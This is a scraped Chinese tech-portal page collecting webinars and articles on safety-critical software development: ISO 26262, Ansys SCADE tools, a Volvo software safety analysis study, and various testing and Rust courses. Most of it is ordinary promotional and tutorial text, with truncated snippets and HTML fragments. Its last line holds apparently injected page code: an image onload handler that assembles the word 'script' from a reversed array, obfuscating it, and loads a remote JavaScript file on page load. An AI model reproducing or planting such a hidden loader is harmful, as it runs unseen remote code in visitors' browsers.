
發布
注冊
/
登錄軟件安全開發
關注創建者:匿名 創建時間:2026-01-04
軟件安全開發的視頻教程
面向ISO26262高安全性應用的車載軟件開發
面向ISO26262高安全性應用的車載軟件開發【已結束】? ? ? ? ? ? ? ? ? ? ? ? ??直播時間:2020-04-08 16:00 本場研討會將介紹Ansys針對當前汽車行業合規ISO 26262高安全性車載軟件開發要求的解決方案 – Ansys SCADE。
免費 58分鐘 186播放
查看
Ansys SCADE Vision助力基于人工智能的感知軟件測試與安全提升
適用人群:自動駕駛(飛機、汽車、船舶)工程師、計算機視覺感知算法工程師、安全關鍵嵌入式軟件工程師。
免費 1小時14分鐘 210播放
查看
HAWC2的應用與開發-軟件功能介紹
該程序主要是基于丹麥技術大學風能部門的氣動彈性設計項目開發的,已在眾多研究項目和工業應用中使用。HAWC2是以載荷計算為主體的仿真軟件,將外部條件與機組運行狀態相關聯。外部條件可包括風況、波浪、土壤特性的輸入,施加的載荷通過氣動、水動、結構等模型計算相互作用。 本欄目將針對HAWC2的功能介紹和實際操作進行詳細的教學,后續也會推出更多風電行業相關的技術教學。
免費 12分鐘 170播放
查看
軟件安全開發的實例教程
軟件架構設計包含了靜態設計和動態設計兩部分,其中靜態設計部分,架構層完成了分級層次的軟件結構,軟件組件的端口實現了標準中規定的軟件組件的外部接口。根據標準7.4.9中指出,軟件安全需求應該分配到軟件組件上,每個軟件組件應該根據分配給它的最高等級的ASIL來開發。
開發實現階段
開發實現階段是軟件工程中定義的系統開發的最中心的工作,它是完成系統實現的主要工作,因此在開發實現階段的安全保證也是Studio非常重要的工作。軟件的開發實現包括源碼的生成和轉化為目標代碼。
在ISO 26262-6的8.4.4中給出了軟件單元設計和在源碼級實現的屬性,包括:軟件單元的子程序和功能能夠正確執行相關步驟;軟件單元間保持接口一致;簡單性;可讀性和易理解性;魯棒性;易于修改和可測試性。如下表給出了我們工具符合標準的一些設計原則。
由于Studio的最終目標是生成安全可靠的代碼,包括軟件組件的內部算法,軟件組件間相互通信代碼,ECU配置等代碼,因此也需要符合標準中對于編碼的一些規范。
集成和測試階段
集成和測試階段是軟件開發的最后階段,它是正確高效運行軟件的必要保證。集成是按照系統設計的要求將各個模塊組裝成子系統或者是系統,測試驗證軟件開發是否正確的完成了需求。
根據ISO 26262-4中的規定,集成和測試階段包含三個階段和兩個目標。第一個階段是項目包含的每個元素的軟硬件集成;第二個階段是項目的所有元素集成一個完整的系統;第三個階段是本系統和其它系統的集成。第一個目標是根據需求和ASIL等級來測試系統對安全需求的符合性;第二個目標是驗證系統設計的功能需求和安全需求是否都完成。
展開 與Simulink模型相比,手寫代碼具有較少的開發限制(例如,非強制性地遵守干凈的編碼標準)和更多與其他文件和函數的耦合。因此,分析不那么清晰的數據流需要付出更多的努力,這在開發中可能是不可承受的。
01 研究方法
研究過程中的一個關鍵決定是首先識別軟件中的所有錯誤類型,因為由于錯誤的多樣性,不確定哪些類型應該進行面向安全的軟件分析。以及哪些錯誤會影響軟件安全分析的目標實現。通常采用行動研究來處理這種情況:成立了一個從業人員參考小組,在行動研究周期中進行迭代。其成員包括一名軟件工程技術領導,一名軟件安全技術專家,一名高級安全工程師,一名軟件開發首席工程師,一名軟件架構師,一名高級軟件開發人員,以及一名負責開發車輛安全關鍵功能的產品負責人。任務包括以下內容:
1.根據給定的軟件開發過程和工作產品,識別應用軟件中可能發生的所有類型的錯誤;
2.針對已識別的錯誤類型,調查并記錄當前的解決方法
3.為尚未發現的錯誤類型指定預設解決方法;
4.審查面向安全的軟件分析方法的開發。
沃爾沃為未發現的錯誤類型提出了初始的解決方法。他們還設計了面向安全的軟件分析方法的框架。并且根據參考小組在行動研究周期中對這些建議提出的批判性的質疑,討論得出了初步的結果。在大約一年半的時間里,軟件安全分析方法基本上具體化了。之后將該方法應用于沃爾沃某大型ECU內部應用軟件,對分析方法進行了更多的調整。應用該方法的軟件有大約200個Simulink模型(產生大約80萬行代碼),由12個敏捷團隊開發。
展開 目前,經緯恒潤已經為戴姆勒、現代、菲亞特克萊斯勒、一汽紅旗、一汽解放、東風、長安、上汽、吉利、長城、蔚來汽車、華人運通、合眾汽車、嵐圖汽車、博格華納、華域麥格納等國內外主流客戶提供了功能安全開發服務并得到客戶廣泛認可。未來,經緯恒潤將緊跟軟件定義汽車大勢,堅持自主創新,為智能汽車安全發展保駕護航!
基于形式化語言“SCADE”,語法嚴謹,減少代碼生成配置環節,一鍵從模型生成代碼,且代碼生成器通過ISO26262等行業安全標準認證(TCL3),行業目前經過安全認證(ASILD)的代碼生成器,適用于高安全軟件開發(適用于C和Ada),支持標定和NI/dSPACE等HIL橋接
SCADE Suite Gateway for Simulink:支持Simulink模型與SCADE模型的雙向轉換
SCADE Display:支持HMI詳細設計、仿真驗證、代碼自動生成。支持生成OpenGL/OpenGL Safety/OpenGL ES代碼,代碼生成器通過行業安全標準認證,適用于高安全軟件開發。SCADE Display是一款用于人機交互界面建模的專用工具,支持嵌入式圖形、顯示界面和HMI開發,以及安全關鍵型顯示界面的認證代碼生成,在汽車和工業等制造領域的企業中均用于HMI顯示軟件原型設計和開發
SCADE Test:用于需求驗證以及測試案例創建和管理的完整測試環境。用戶可以在主機和目標上自動執行測試案例,測量覆蓋率并管理任何SCADE應用的測試結果。借助SCADE Test,用戶可以盡早開始需求驗證并自動執行測試,以確保在早期開發階段實現合規性,減少后期成本高昂的設計變更。完整的交互式測試環境可通過圖形部件輕松實現原型構建和驗證;自動化完成模型測試執行、模型覆蓋結果報告以及硬件目標的測試轉換等功能。測試報告生成符合安全性標準(DO-178C、ISO 26262、EN 50128、IEC 61508)
SCADE Lifecycle:支持和ALM/PLM(例如DOORS、Reqtify、Polarion)進行橋接,實現生命周期數據管理、文檔自動生成等。
展開 Ansys提供解決當前汽車行業合規ISO 26262高安全性車載軟件開發要求的解決方案 – Ansys SCADE。
研討會內容簡介:
ISO26262標準的簡單介紹,合規給車企帶來的必要性和挑戰以及Ansys SCADE解決方案的工具組成、技術特點和應對這些挑戰的方法。
適用人群:
車企OEM或零部件供應商,從事車載電子控制單元(ECU)系統&軟件集成、開發和測試的技術管理人員和工程師。
講師簡介:
周霄,2017年初加入Ansys系統事業部,負責SCADE產品在華北區的技術推廣、支持和咨詢工作。擁有10多年嵌入式安全關鍵軟件領域的從業經歷,曾先后就職于Honeywell,Wind River等跨國企業,承擔嵌入式軟件系統的開發、測試、咨詢和管理工作,熟悉航空航天、
軌交、汽車等領域嵌入式軟件的設計、開發和測試流程以及相應的安全標準。同時
積累了豐富的和這些領域國類外客戶的交流經驗。
報名方式
請掃碼下方二維碼
點擊報名:http://event.31huiyi.com/1837936022/index?c=jishulink
展開 
軟件安全開發的相關專題、標簽、搜索
軟件安全開發的最新內容
隨著全球軌道交通系統智能化與自動化水平的持續提升,嵌入式軟件已成為保障行車安全與系統可靠性的關鍵核心。EN50128 與全新發布的 EN50716 標準,共同構成了軌道交通嵌入式軟件開發的重要合規體系;與此同時,基于模型的開發與驗證方法正逐步成為行業主流實踐。
6月16日,Ansys(現為新思科技旗下公司)將在北京舉辦「新安全標準下Ansys軌道信號系統的模型化開發研討會」,邀請國內外軌道交通領域專家
本周五14:00,新思科技「基于虛擬ECU實現故障注入,助力功能安全測試」正式開講!感興趣的下滑預約學習??
時間:5月8日 周五,14:00-15:00
內容簡介:
本次芯課程聚焦Automotive VDK 的功能安全故障注入與自動化驗證,講解如何將傳統人工、臺架依賴的安全測試轉化為可腳本化、可回歸的虛擬測試流程。通過真實的OEM案例,涵蓋軟件故障注入、配置與響應驗證、自動化回歸構建及問題定位
AI代碼審計能夠將審計效率提升數倍甚至數十倍,同時顯著降低漏洞遺漏率,成為保障軟件安全、提升開發質量的關鍵技術手段。
<p>在整車研發過程中,經常會需要獲取某些位置截面線進行工程分析或尺寸標注,如下即為一張車門內飾區域的間隙圖(示意圖)。</p><p><br></p><p><br></p><figure style="text-align: center;" class="ql-align-center">
<figure class="figure-image" contenteditable="false
[圖片]
使用 Rust 進行軟件開發:構建真實世界的項目
發布時間:2026年1月
語言:英語 | 文件大小:1.11GB | 時長:3小時48分鐘
核心目標:學習Rust基礎知識,構建文件壓縮器、物業管理系統和采購管理系統
## 你將學到的內容
1. 學習Rust的基本原理,如其應用場景、重要概念和內存安全特性
2. 學習如何使用
本文原刊登于Ansys.com:《How To Accelerate EV Development Using Ansys Twin Builder Software》
作者:Laura Carter | Ansys 高級市場傳播經理
編輯整理:張旭 | Ansys主任應用工程師
國際能源署(IEA)的全球能源行業2050年凈零碳排放路線圖指出,電動汽車預計到2030年將占全球新車銷量的
摘要:隨著嵌入式系統在汽車電子、工業控制等安全關鍵領域的廣泛應用,軟件質量與可靠性成為核心挑戰。本文通過分析嵌入式軟件開發的特殊性與單元測試的獨特價值,論證專業單元測試工具的必要性,并以winAMS工具為例,從技術架構、功能優勢、行業實踐三個維度,系統闡述其如何解決傳統測試方法的局限性,為嵌入式軟件開發提供高效、可靠的測試保障。
關鍵詞:嵌入式軟件;單元測試;
軟件資產已成為企業核心競爭力的重要組成部分。然而,許多企業在軟件許可管理方面仍面臨諸多挑戰:許可使用情況不明、資源浪費、多部門重復采購、員工違規使用等問題屢見不鮮。這些問題不僅增加了企業的運營成本,還可能引發合規風險,甚至影響企業的正常運營。面對這些難題,傳統的管理方式似乎已經力不從心。那么,如何在復雜多變的數字化環境中,有效管理和保護企業的軟件資產呢?零信任架構或許能為我們提供一種全新的解決方案
<p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body